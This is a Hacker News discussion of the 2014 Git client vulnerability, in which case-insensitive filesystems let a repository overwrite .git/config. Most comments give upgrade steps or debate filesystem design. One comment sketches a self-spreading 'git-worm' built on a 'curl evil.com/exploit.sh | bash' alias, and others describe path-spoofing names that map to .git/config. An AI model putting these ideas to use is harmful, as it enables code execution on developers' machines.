Git client vulnerability announced

https://github.com/blog/1938-git-client-vulnerability-announced

by polemic • 12 years ago

818 176 12 years ago

califield2• 12 years ago

I was wondering who found this vulnerability. You have to click through to the Git mailing list announcement[1]:

A big "thanks!" for bringing this issue to us goes to our friends in the Mercurial land, namely, Matt Mackall and Augie Fackler.

It'd be interesting to hear how they came across this. Matt is the leader of the Mercurial project and Augie is a Mercurial core contributor.

This doesn't seem like a high priority upgrade since GitHub now blocks the vulnerability from being pushed to their servers.

[1] http://article.gmane.org/gmane.linux.kernel/1853266

edit: Upgrade ASAP!

ngoldbaum• 12 years ago

The CVE affects mercurial as well according to the 3.2.3 release notes.

durin42• 12 years ago

Yes, I asked for a CVE ID for hg but the mitre folks never got back to me.

tptacek3• 12 years ago

It's a very high priority, because there are things that transparently use Git and don't host all their repositories on Github. Update ASAP.

califield2• 12 years ago

Yeah, but typically you have a certain level of trust in your project dependencies. Adding a library to your project often means granting access to your system anyway (if the dependency contains executable code).

jackmaney• 12 years ago

Yes. This. I work in a fairly Enterprisey company that uses git as their VCS. I'm just hoping that IT is relatively calm about this and just pushes out updates/nags people about upgrading their git client.

jzwinck2• 12 years ago

Things which transparently use Git on Windows seem likely to bundle their own copy of Git in their installer. I don't know of specific examples, but if this happens it may be trickier for average people to stay safe. Worse, I don't know how to generate a list of such programs.

indygreg2• 12 years ago

More back story: https://twitter.com/indygreg/status/545701974671233024

tlarkworthy• 12 years ago

We have also completed an automated scan of all existing content on github.com to look for malicious content that might have been pushed to our site before this vulnerability was discovered

did they find any problems? The post doesn't say...

ethomson7• 12 years ago

Vicent Marti (from GitHub) states: "In case it's not obvious from the post: There are no malicious repos in @github and they can't be pushed anymore. Update your Git anyway."

https://twitter.com/vmg/status/545693913491984385

mikeash4• 12 years ago

Which still doesn't say! That says there aren't any, but is silent on whether there were any. It's probably safe to assume that this is just clumsy wording and he meant to say that the scan found nothing, but it could also be a careful attempt at trying to sound like it says more than it really does.

peff3• 12 years ago

We found 10 repositories which would have been blocked on push with the new restrictions. None of them were found to be malicious.

ImJasonH• 12 years ago

Do those 10 repos include private repos? What is GitHub's policy about scanning/inspecting private repos in cases like this?

FiloSottile• 12 years ago

Short panic summary: your git/hg remotes can get code execution on your machine when you clone/pull if you are on OSX or Windows.

Summary: on case-insensitive/normalizing filesystems (default on OSX and Windows) it's possible for .git/config to be overwritten by the tree, probably due to a case-sensitive sanity check when the actual file is insensitive. .git/config can contain arbitrary commands to be run on certain events/as aliases, so it leads to code execution. This is a risk when you get a tree from a third party, so on pull/fetch+checkout/clone...

There's an analogous vulnerability in Mercurial.

Update, then run git --version and make sure it's one of v1.8.5.6, v1.9.5, v2.0.5, v2.1.4, or v2.2.1. And be careful when pulling/cloning from third-parties.

EDIT: right, no "or", what are you doing reading this instead of updating?

tptacek3• 12 years ago

Lose the /or. Update no matter what.

fizzbatter• 12 years ago

Well, to be clear, this only affects Mac and Windows, correct? (Technically any case changing os)

So, update no matter what, unless you're not on an affected system?

(this is a question, not a statement)

cheshire137• 12 years ago

I just downloaded git from git-scm.org and I only got 2.0.1. :/

kenperkins• 12 years ago

It's now available at http://sourceforge.net/projects/git-osx-installer/files/late...

e40• 12 years ago

Cygwin and Macports both have versions which are vulnerable.

EDIT: Macports just updated. I did it with

# port selfupdate # port upgrade outdated

and 2.2.1 came down.

If you have the Apple git, then you should

# port install git

yincrash• 12 years ago

Yes, the actual vulnerability is that you can commit .Git/config or .gIt/config etc., and on case insensitive filesystem, checking that out will overwrite .git/config.

prawks• 12 years ago

For those wondering about the analogous vulnerability in Mercurial, the patch notes are out for a fix:

http://mercurial.selenic.com/wiki/WhatsNew#Mercurial_3.2.3_....

You'll need 3.2.3 to be secure.

Someone2• 12 years ago

So, I guess people are going through old web server vulnerabilities such as trying to masquerade ".git/config" as ".git/../.git/config" or using different encodings for the same file to see which ones git falls for?

Also, can git run with .git/config being read only? That could be a useful second line of defense.

orbitur2• 12 years ago

Hmm. I have git 2.2.0 installed through Homebrew, but the Homebrew repo seems broken at the moment?

edit: Nevermind, short-lived issue. Just upgraded to 2.2.1.

jdkram• 12 years ago

For anyone looking to update via Homebrew, make sure it has the latest formulae:

  brew update
  brew upgrade git

amatix• 12 years ago

Git-worm concept:

* create an alias which does something evil "curl evil.com/exploit.sh | bash;", maybe as a typo (commti?) since "to avoid confusion and troubles with script usage, aliases that hide existing Git commands are ignored"

* exploit code finds other local git repos and infects them (maybe avoiding those with github/bitbucket remotes, since they'll be blocked)

* be innocuous-looking via git config's "include", so the bad aliases aren't obviously visible looking at ~/.gitconfig

xg152• 12 years ago

You don't even need to alias a typo - if the vulnerability allows to overwrite arbitrary files in the .git-directory, which is what it sounds like, you can just add a book that will be executed on each commit/fetch/push/etc...

So yes, this is dangerous.

xg152• 12 years ago

... hook, not book...

necubi2• 12 years ago

Homebrew just updated (https://github.com/Homebrew/homebrew/pull/35105), so Homebrew users should be covered by

    brew update && brew upgrade git

tptacek3• 12 years ago

Make sure you're not using Apple Git (/usr/bin/git); I renamed mine.

cpach• 12 years ago

Gah. Incidents like this makes me frustrated OS X doesn’t have a solid package manager like APT.

cdjk• 12 years ago

I tend to put /usr/local/bin ahead of /usr/bin on my $PATH, which nicely solves that problem.

tomp• 12 years ago

And don't copy&paste the above code into the terminal! (Potential vulnerability, though HN is probably safe.)

sysk• 12 years ago

What is the potential vulnerability?

simi_• 12 years ago

I keep getting

    fatal: unable to access 'https://github.com/Homebrew/homebrew/': The requested URL returned error: 503
    Error: Failure while executing: git pull -q origin refs/heads/master:refs/remotes/origin/master

Weird, it's the first time it's ever happened.

edit: wait, it worked after a couple of tries; maybe it's due to panicked people updating brew\git?

andruby• 12 years ago

This might be an issue with github due to load or their security fixes or code scans. I've been able to run `brew update && brew upgrade git`.

IgorPartola2• 12 years ago

brew update will use `git clone`, so yeah...

brandonbloom• 12 years ago

Presumably you already trust homebrew to run arbitrary code on your machine.

apetresc• 12 years ago

I'm fairly confident Homebrew isn't exploiting this

necubi2• 12 years ago

If you read the blog post, GitHub has checked all their repos for for this exploit and is blocking it on pushes; cloning from GitHub should be safe.

markcerqueira• 12 years ago

You better walk over to the Homebrew office and get the update on a USB stick then, Mr. Safety!

tlrobinson• 12 years ago

Ironically, Homebrew uses git to update its package metadata, but presumably you already trust Homebrew to not deliver malicious software (I also don't know if "pull" is vulnerable, or just "clone" and "checkout". Also Homebrew is hosted on Github, which now scans/blocks malicious repos)

lugg2• 12 years ago

Further ironically how many people just did a

    brew update && brew upgrade

Without the git part specifically.

raverbashing• 12 years ago

I also don't know if "pull" is vulnerable, or just "clone" and "checkout

Yes it is

Now if you just do fetch and don't merge/rebase you're safe, still, this is a very rare occurence

aleyan• 12 years ago

For those of us using macports, the port file was updated an hour ago: https://trac.macports.org/browser/trunk/dports/devel/git/Por...

    sudo port selfupdate
    sudo port upgrade git

    git --version

lucaspiller• 12 years ago

Bear in mind if you use GitHub for Mac it includes it's own version of Git too. The latest version "Honourary Brit (194)" includes a patch for this fix.

dshankar4• 12 years ago

Where can I find fixed git-related binaries without having to build from source myself? (Sorry, I'm lazy)

krschultz• 12 years ago

On Mac OS X, from Homebrew. The bug doesn't seem to affect Linux (most Linux file systems are case sensitive). I'm not sure about for Windows.

ethomson7• 12 years ago

Definitely affects Windows. Git for Windows users should update to 1.9.5 immediately. https://msysgit.github.io/

dshankar4• 12 years ago

Wow downvoting because I ask for binaries instead of source? Majority of people reading this want a fast, immediate solution from a trustworthy source.

edit: obvious places still haven't updated. git-scm still provides 6-month-old binaries

codereflection• 12 years ago

git-scm does not seem to be a reliable source anymore. For Windows, go directly here: https://msysgit.github.io/

mbrubeck3• 12 years ago

The announcement includes several links to binaries. Is there one you need that's missing?

dshankar4• 12 years ago

The blog post on Github.com only includes links to Github for Mac binaries, not git proper. The link in the blog post to kernel.org has tarballs of source, not binaries.

Did I miss something?

msoad• 12 years ago

on OSX `brew upgrade git` was enough for me

bsimpson• 12 years ago

You may have to do these first:

    sudo mv /usr/bin/git ~/.Trash/git_mac_old
    brew update

baldfat• 12 years ago

In addition, the following updated versions of Git address this vulnerability: Not everyone has the patch.

The Git core team has announced maintenance releases for all current versions of Git (v1.8.5.6, v1.9.5, v2.0.5, v2.1.4, and v2.2.1).

I have one Windows machine and went to update http://git-scm.com/download/win (preview Version 1.9.4)

It was released 3 months ago, on 2014-09-29.

https://msysgit.github.io (Version 1.9.5 preview BUT no documentation that this is for a security fix)

Doesn't seem like I can update my git client

taspeotis• 12 years ago

One thing I want to know but haven't gotten around to figuring out who to ask is why msysgit is 1.x instead of 2.x? I saw some mention on their Github issue tracker that msysgit had been rebased on top of 2.x but the downloads don't seem to be updated.

I figured I could build from source if I really wanted and the downloads would be updated eventually but ... they have not.

akaBruce• 12 years ago

For whatever it's worth, I just downloaded 1.9.5 for Windows from https://msysgit.github.io/. While the release notes don't mention "CVE-2014-9390" explicitly, it does say this:

Changes since Git-1.9.4-preview20140929

New Features ...

Bugfixes

* Safeguards against bogus file names on NTFS.

Edit: Actually, there it is on their git hub releases page. https://github.com/msysgit/msysgit/releases/tag/Git-1.9.5-pr...

ethomson7• 12 years ago

Visual Studio is affected by this; Microsoft has released patches for Visual Studio 2013, Visual Studio 2013 Update 4 and an updated Git Provider for Visual Studio 2012. Users of Visual Studio are urged to apply an update.

Brian Harry's blog has more information and links to download URLs for the updates: http://blogs.msdn.com/b/bharry/archive/2014/12/18/git-vulner...

sillysaurus32• 12 years ago

Should programs periodically check for critical security fixes, and then refuse to run if the current version is affected?

It seems like there are a lot of people who don't really pay attention to social media or other security alert channels, who won't have a clue about the extent of this vulnerability. I'm sure they'd update if they knew "if I clone a malicious repo, I'm toast," but there's no way to inform them except by HN/Twitter/Reddit/mailing lists.

One could argue that they get what they deserve for being uninformed, but it seems like the ethical obligation might actually be on us to develop tools that ping home and ask whether it needs to stop working until it's updated.

Actually, I'm not sure it's ethical to embed such shutdown behavior into a tool that needs to be reliable. Maybe just a scary warning message like "This version is critically vulnerable, update immediately" every time the program runs would suffice.

thomasfromcdnjs2• 12 years ago

Coming from NPM land, sounds like a nice module to build.

akerl_2• 12 years ago

I'm not sure how I feel about programs phoning home like that. I tolerate it with apps, but command line tools ought to be doing their stated function when run.

semi-extrinsic2• 12 years ago

There was a discussion of this a few weeks ago on the mailinglist of a scientific software project I use. The people were very clearly divided into the "Flash does it, so it's ok" and "omg no, think of the user privacy" camps, it was quite interesting.

semi• 12 years ago

I think it's a distro's job to deal with it. The cli tool shouldn't phone home, but the distro should be able to be notified of a critical update and strongly warn you the next time you try to launch it.

Maybe even a push update you can subscribe to.

im3w1l2• 12 years ago

It can be done in a way that preserves privacy: Package manager regularly asks for compromise information. When programs run, they ask package manager if they are compromised.

avar• 12 years ago

Link to the patch that fixed it: https://github.com/git/git/commit/cc2fc7c

ethomson7• 12 years ago

It's more than just that. There are a number of additional checks that are performed for the benefit of various insane filesystems like HFS and NTFS. For example: HFS has several codepoints that are ignored for the purposes of name comparison; for example, U+200C. We need to protect against those, too, or else you could have ".git<U+200C>/config" in your repository that maps to ".git/config".

jzwinck2• 12 years ago

Given that NTFS is closed-source, can we know if these protections are actually sufficient now?

thomasfromcdnjs2• 12 years ago

"Otherwise, an unsuspecting user can run git pull from an innocuous-looking-but-malicious repository and have the meta-information in her repository overwritten, or executable hooks installed by the owner of that repository she pulled from (i.e. an attacker)." [1]

You could pull down git hooks that root your box, pretty intense hack, update now!

1. http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-21...

sumnulu• 12 years ago

Also case insensitive file systems has other problems with git, if your team has a sensitive one. Mac comes with defaulted to insensitive and that is not good.

donutz• 12 years ago

There does not appear to be an updated version of git for cygwin just yet.

jazzychad2• 12 years ago

If you don't want to use homebrew on mac, here is the list of commands I used to upgrade: https://gist.github.com/jazzychad/07c0c6da5709202e8106

numlocked• 12 years ago

This was very helpful and clearly documented. Thanks!

Also, your github profile picture is amazing.

iamdave• 12 years ago

Beautiful, cheers for this!

unspecified• 12 years ago

Thanks for this. Might want to move the original /usr/bin/git out of the way, rather than outright deleting it, juuuuust in case you end up needing the original binary.

jazzychad2• 12 years ago

/usr/bin/git is usually a soft symlink, so the original binary is still there when you rm the synlink. You can see the actual location by doing

    ls -al /usr/bin/git

If it's not in fact a symlink then yes you should probably rename it to preserve it.

hwang89• 12 years ago

Worked for me.

marquis• 12 years ago

Thanks - really appreciate the signature checking phase. To make sure I had a working git in case all went wrong I added:

sudo mv /usr/bin/git /usr/bin/git2

before the symlink.

fnayr• 12 years ago

Thanks!

jszymborski• 12 years ago

Anybody have an idea when SourceTree will have an update?

bshimmin• 12 years ago

I don't know - but in SourceTree's preferences, you can tell it to "Use System Git". On a Mac, if your system's git isn't what it ought to be, then do `brew install git` (assuming you have Homebrew installed) and make it use that git rather than the Apple one.

clumsysmurf• 12 years ago

They updated to 2.0.4 today, but it crashed right away. I'm on OS X 10.7. Now their support site is down.

praseodym• 12 years ago

Apple has fixed this in Xcode 6.2 beta 3: http://support.apple.com/en-us/HT204147

0x0• 12 years ago

That's not super helpful as long as Apple still forbids app store submissions built with beta tools.

percept• 12 years ago

https://www.kernel.org/pub/software/scm/git/

nodesocket• 12 years ago

I am running OSX Yosemite.

    ➜  ~  git --version
    git version 1.9.3 (Apple Git-50)

When I navigate to http://git-scm.com/download/mac it downloads 2.0.1 which was released on 6/29/14. How can I upgrade to 1.9.5?

ethomson7• 12 years ago

Apple has updated this in Xcode 6.2 beta 3: http://support.apple.com/en-us/HT204147

waxjar• 12 years ago

Seems like the Command Line Tools (without XCode), which also ships git, have not been updated (yet). Rather annoying.

conorgil145• 12 years ago

Any Ubuntu users who are looking to update as a precaution might find this link to the "Ubuntu Git Maintainers" ppa useful: https://launchpad.net/~git-core/+archive/ubuntu/ppa

also: https://stackoverflow.com/questions/19109542/installing-late...

vog2• 12 years ago

Ouch! And I thought the OpenBSD people were paranoid for sticking with CVS. (because Git is too bloated and complex in their view, so they weren't able to review it thoroughly, which would have been the only way for them to trust it.)

I always get a strange, uneasy feeiling when the tin foil hats turn out to be right.

I wonder if they are right on GPG, too. For those who don't know this: The OpenBSD people refuse to sign their releases with that "far too complex" GPG tool, but created their own lightweight "signify" tool instead. [1]

[1] http://www.tedunangst.com/flak/post/signify

the_af2• 12 years ago

I agree Git can be complex, but... CVS? Really? I do not miss non-atomic commits at all.

mathrawka• 12 years ago

The point is that for OpenBSD that security trumps anything else, including usability of developer tools.

icebraining• 12 years ago

CVS has had multiple arbitrary code execution vulnerabilities, though.

gbog• 12 years ago

Yes, but the point is that vulnerabilities in cvs are likely very few as of today, because the code is old and simple, and have been used a lot.

yourad_io4• 12 years ago

Git devs made the incorrect assumption that saving .giT/cONFIg to disk, would actually save .giT/cONFIg to disk.

Ridiculously enough, this is not always the case (I weep for us).

Should they have known that Windows and MacOS sport case-insensitive filesystems? Definitely.

But, how does this have anything to do with bloat or complexity?

yourad_io4• 12 years ago

And the case-sensitivity stuff is somewhat low-hanging fruit, but...

   On Windows, certain path components that are different from ".git"
   are mapped to ".git", e.g. "git~1/config" is treated as if it were
   ".git/config".  HFS+ has a similar issue, where certain unicode
   codepoints are ignored, e.g. ".g\u200cit/config" is treated as if
   it were ".git/config"

So that's what ridiculous means. Huh.

the_why_of_y• 12 years ago

OpenBSD uses OpenCVS, which would be safe from such a vulnerability by virtue of being non-portable and running only on file systems that OpenBSD supports, which are all case-sensitive. Thus this is yet another example of the security benefits of writing non-portable and maintainable software.

mholt• 12 years ago

Git clients running on OS X (HFS+) or any version of Microsoft Windows (NTFS, FAT) are exploitable through this vulnerability. Linux clients are not affected if they run in a case-sensitive filesystem.

What about case-sensitive Mac file systems, like mine? I would imagine they are not vulnerable and that the author just overlooked this possibility in the article...

userbinator5• 12 years ago

I think here is a good argument for not using case-insensitive filesystems - because every single filename comparison gets affected and it can lead to vulnerabilities like this (I wonder what others are out there...) Case-insensitive initially feels like a good idea to some, but I think it's a good example of "trying to do too much" and often in subtle ways that even the user might not fully understand - the definition of "case" changes with locale, for instance. In contrast, with filenames that are treated as dumb and simple, plain sequences of bytes that just cannot contain certain characters (and thus compared accordingly for equality, bit-by-bit), there is no need to even consider the concept of "case", and no ambiguity: It either matches exactly or doesn't match.

(I am aware of all the - quite frankly ridiculous - complexity of Unicode characters that are visually identical and "should be treated as such for the purposes of comparison", but I think that's another example of excess complexity leading to things like directory-traversal attacks.)

thedufer• 12 years ago

Unicode characters that are visually identical

This was actually a further bug, reported as part of the same CVE - you could also overwrite .git/config by adding any of a number of zero-width Unicode characters that many filesystems ignore when checking for filename equality (but string comparison doesn't, of course).

userbinator5• 12 years ago

http://en.m.wikipedia.org/wiki/Unicode_equivalence

http://en.m.wikipedia.org/wiki/IDN_homograph_attack

What seems really scary about this is that even Unicode has several different ways of comparing strings, and the correct one depends on the exact situation, so the common response of "just use a library" doesn't work; for example, if a user were searching for a filename it might make sense for full-width characters to compare equal to half-width ones, but not if opening a file where you wouldn't want e.g. the full width version of /etc/passwd to be equivalent to the half-width one.

shanemhansen• 12 years ago

Linus actually has a great rant about brain-dead filesystems that mangle people's data. It's eerily prescient. http://thread.gmane.org/gmane.comp.version-control.git/70688...

userbinator5• 12 years ago

He even mentioned the security aspect here:

http://article.gmane.org/gmane.comp.version-control.git/7076...

"Having programs that get different results back from what they actually wrote, that tends to be a security issue"

hjnilsson• 12 years ago

The issue here is not case-insensitive filesystems, they are a huge benefit to novice users. But that the type system does not distinguish between paths and strings. A path is distinctly different from a string, and should never be compared as one. The type system should always enforce this and never allow you to mistakingly do the comparison you propose, for exactly the reasons you state. Modern filesystem libraries (for type-safe languages) do this, the problem is (as is becoming more and more common lately) the abundance of old tools that were not designed with security in mind.

spdegabrielle2• 12 years ago

so true

couchand• 12 years ago

As you point out, a path is different from a string. It makes sense in many cases to do a case-insensitive comparison on strings. It NEVER makes sense to do that on paths.

A path is an identifier. Just as it's infuriating and horrendous to have programming language identifiers act case-insensitively, it's a poor design choice to have path identifiers act case-insensitively.

I suspect that what you describe as a huge benefit to novice users is entirely seen in search functionality, where you are comparing a string (the search needle) against a number of paths (the haystack). Since this search should be conducted by converting the path to a string (never the other way around, that's nonsensical) it's perfectly natural to support CI operations on strings but forbid them on paths.

rimantas• 12 years ago

I once tried to install OS X with case sensative filesystem. Turns out Photoshop for OS X does not work in that case. Had to go back to case-insensitive. Not sure how many other apps have the same issue.

wereHamster• 12 years ago

World of Warcraft (and any other Blizzard game) won't run off of a case sensitive filesystem.

kdeldycke• 12 years ago

Also had issues with steam. The solution ? Install it in a disk image: https://github.com/kdeldycke/dotfiles/commit/05cef3c1de4a208...

Someone2• 12 years ago

I think the main argument against case-insensitivity is that every file system driver must contain a large [1] code blob that does the case-insensitive comparison. That blob cannot be shared between drives or with the OS because one must guarantee that it stays the same forever. It is almost a sure bet that case-insensitivity in NTFS is different from that in HFS+ (even disregarding their different canonicalization).

Directory-traversal attacks work just as well with ASCII or byte sequences.

[1] of course, what is large becomes less and less important over time, thanks to Moore's law. On embedded devices, this still may be quite significant, though.

archagon• 12 years ago

The OS should always be in service of the user. And users (in my experience) vastly prefer case insensitivity.

Sorry, but there's just no way around it.

spdegabrielle2• 12 years ago

Users shouldn't have access to the filesystem. The usability issues are too significant even for competent users. A good laugh/example: http://xkcd.com/1459/

oneeyedpigeon4• 12 years ago

Can you elaborate on that experience? I would have thought users not typing filenames wouldn't care less, and that users who are typing filenames would tend to be developers or 'advanced' users who aren't confused by case-sensitivity, and recognise the advantages.

yourad_io4• 12 years ago

Isn't it pretty nonchalant that git-scm.com doesn't have a huge red banner advising people to "pay attention and update, or face the pwn"?

Maybe alert banners aren't in the git-scm.com css template.

edit: Is it that I'm on Linux? I changed a few UAs but the download image still reads "Downloads for Linux".

joshkpeterson• 12 years ago

reposting OSX installer for visibility http://sourceforge.net/projects/git-osx-installer/files/late...

pcl• 12 years ago

Meanwhile, this would have been a great way to share commit hooks.

Xylakant• 12 years ago

The download page at http://git-scm.com/download/mac still offers 2.0.1 even though the start page announces 2.2.1.

asmosoinio• 12 years ago

Same for me. But http://git-scm.com/ offers 2.2.1

beeglebug• 12 years ago

It looks like 2.2.1 is the latest source code version, but the builds for Windows and Mac are slightly behind. The windows download is 1.9.5, but was built 13 hours ago and has the fix.

plopper823• 12 years ago

Is github desktop app using a custom version of git ? Having update to git 1.9.5 and the github application to 2.6.5

i still got "git --version" to return 1.9.4 for mysisgit in git shell.

Is this normal ?

highCs• 12 years ago

Here are the git clients: http://git-scm.com/downloads

vital101• 12 years ago

For those using HomeBrew on OSX: brew update; brew upgrade git;

Then, make sure that HomeBrew versions are taking precedence: echo export PATH='/usr/local/bin:$PATH' >> ~/.bash_profile

billpg• 12 years ago

What happens if the folder is named .GİT or .gıt in a Turkish locale?

bobbykjack• 12 years ago

(Because http://msdn.microsoft.com/en-us/library/ms973919.aspx#string... for anyone wondering 'Why Turkish?')

Git client vulnerability announced

Related Stories